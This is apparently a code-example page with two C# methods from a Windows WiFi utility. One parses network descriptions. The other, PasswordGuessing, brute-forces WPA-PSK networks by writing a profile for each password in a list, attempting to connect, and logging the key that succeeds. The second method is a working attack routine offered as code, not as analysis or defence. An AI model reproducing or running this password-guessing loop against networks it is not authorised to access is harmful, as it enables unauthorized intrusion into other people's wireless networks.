Exemplo n.º 1
0
        /// <summary>
        /// Конвертируем строку ввида { id = 0, SSID = Navicon Guest, Quality = 88%, securityType = WPA_PSK, encryptionType = TKIP }
        /// к объекту ItemWiFi
        /// </summary>
        /// <param name="item"></param>
        /// <returns></returns>
        private ItemWiFi CastToItemWiFi(string item)
        {
            item = item.Replace("{ ", "");
            item = item.Replace(" }", "");
            string[] el = item.Split(',');

            ItemWiFi itemWiFi = new ItemWiFi
            {
                id = el[0].Replace("id = ", ""),
                SSID = el[1].Replace(" SSID = ", ""),
                Quality = el[2].Replace(" Quality = ", ""),
                securityType = el[3].Replace(" securityType = ", ""),
                encryptionType = el[4].Replace(" encryptionType = ", ""),
            };

            return itemWiFi;
        }
Exemplo n.º 2
0
        private void PasswordGuessing(ItemWiFi itemWiFi)
        {
            string selectedWiFi = itemWiFi.SSID;

            try
            {
                WlanClient client = new WlanClient();

                foreach (WlanClient.WlanInterface wlanIface in client.Interfaces)
                {
                    Wlan.WlanAvailableNetwork[] wlanBssEntries = wlanIface.GetAvailableNetworkList(0);

                    var networks = wlanBssEntries.Where(x => selectedWiFi == System.Text.ASCIIEncoding.ASCII.GetString(x.dot11Ssid.SSID).Trim((char)0));

                    if (networks.Any())
                    {
                        Wlan.WlanAvailableNetwork network = networks.ElementAt(0);

                        String profileName = System.Text.ASCIIEncoding.ASCII.GetString(network.dot11Ssid.SSID).Trim((char)0);

                        String strTemplate = "";
                        String authentication = "";

                        switch ((int)network.dot11DefaultAuthAlgorithm)
                        {
                            case 1: // Open
                                break;
                            case 3: // WEP
                                break;
                            case 4: // WPA_PSK
                                for (int i = 0; i < pass.Count; i++)
                                {
                                    strTemplate = Properties.Resources.WPAPSK;
                                    authentication = "WPAPSK";
                                    String encryption = network.dot11DefaultCipherAlgorithm.ToString().Trim((char)0);
                                    String key = pass[i];
                                    String profileXml = String.Format(strTemplate, profileName, authentication, encryption, key);

                                    wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
                                    wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);

                                    Thread.Sleep(1000); // ??

                                    if (wlanIface.InterfaceState == Wlan.WlanInterfaceState.Connected)
                                    {
                                        itemWiFi.password = pass[i];
                                        Console.WriteLine("WiFi : " +itemWiFi.SSID + ", Password : " + pass[i]);
                                        return;
                                    }
                                    else
                                    {
                                        Console.WriteLine(pass[i]);
                                    }
                                }
                                break;
                            case 7: //RSNA_PSK
                                break;
                            default:
                                break;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }